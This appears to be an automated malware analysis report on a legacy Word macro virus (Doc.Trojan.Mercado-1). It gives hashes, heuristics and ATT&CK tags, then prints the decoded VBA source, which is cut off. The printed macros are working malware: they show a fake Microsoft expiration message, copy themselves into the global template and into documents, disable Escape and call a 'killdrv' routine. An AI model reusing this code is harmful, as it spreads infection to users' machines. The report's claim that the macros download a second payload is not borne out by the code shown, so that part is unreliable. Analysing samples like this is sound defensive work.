Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fd44ba01ada03f32…

MALICIOUS

Office (OLE)

49.0 KB Created: 2000-03-22 12:09:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bb3c68559c9c6abcab4dd3a39b48f941 SHA-1: 0ab71057990876553ef67b9574e5c76fb80edb53 SHA-256: fd44ba01ada03f32402363e0c079afc6a189485cc1c7510ed1d779281333d309
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon opening or closing a document. The 'crash' macro attempts to display a fake Microsoft Word expiration message and then executes other macros, likely to download and run a secondary payload. The ClamAV detection 'Doc.Trojan.Mercado-1' further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Mercado-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mercado-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5815 bytes
SHA-256: 858d13ce52b9274b85545fbc9224d17c47c653c390329c0c5be3f119045b8a6c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "crash"

Public Sub MAIN()
WordBasic.MsgBox "¡¡¡¡³²³²³²CrAsH OvErRiDe²³³²³²¡¡¡¡¡", "Greetings from"
WordBasic.SendKeys "%" + "S"
Again:
WordBasic.Beep
WordBasic.FontSize 9
WordBasic.Insert "Cool Zero"
GoTo Again
End Sub

Attribute VB_Name = "Zero"

Public Sub MAIN()
On Error Resume Next

WordBasic.ToolsCustomizeKeyboard KeyCode:=27, Category:=1, Name:="Abbrechen", Remove:=1, Context:=0

WordBasic.SendKeys "^" + "%" + "-"
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim i
Dim VInstalled
WordBasic.MsgBox "This beta copy of Microsoft Word has expired.Please install the retail version or obtain an updated beta release from Microsoft", "Microsoft Word"
For i = 1 To WordBasic.CountMacros(0, 0)
    If WordBasic.[MacroName$](i, 0, 0) = "crash" Then
        VInstalled = 1
        End If
Next i

If VInstalled = 1 Then
        GoTo Finish
Else
    On Error Resume Next
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":crash", "Global:crash", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":Zero", "Global:Zero", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoExec", "Global:AutoExec", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoNew", "Global:AutoNew", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":ExtrasMakro", "Global:ExtrasMakro", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":killdrv", "Global:killdrv", 1
End If

Finish2:
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "crash" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:crash", WordBasic.[FileName$]() + ":crash", 1
    WordBasic.MacroCopy "Global:Zero", WordBasic.[FileName$]() + ":Zero", 1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 1
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew", 1
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec", 1
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", 1
    WordBasic.MacroCopy "Global:ExtrasMakro", WordBasic.[FileName$]() + ":ExtrasMakro", 1
    WordBasic.MacroCopy "Global:killdrv", WordBasic.[FileName$]() + ":killdrv", 1
    WordBasic.FileSaveAll 1, 0
End If

Finish:
WordBasic.Call "killdrv"
End Sub

Attribute VB_Name = "AutoNew"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish
    
For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "crash" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.MacroCopy "Global:crash", WordBasic.[FileName$]() + ":crash", 1
    WordBasic.MacroCopy "Global:Zero", WordBasic.[FileName$]() + ":Zero", 1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 1
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec", 1
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew", 1
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", 1
    WordBasic.MacroCopy "Global:ExtrasMakro", WordBasic.[FileName$]() + ":ExtrasMakro", 1
    WordBasic.MacroCopy "Global:killdrv", WordBasic.[FileName$]() + ":killdrv", 1
    WordBasic.FileSaveAll 1, 0
End If

Finish:
WordBasic.Call "crash"
End Sub

Attribute VB_Name = "AutoExec"

Public Sub MAIN()
Wo
... (truncated)

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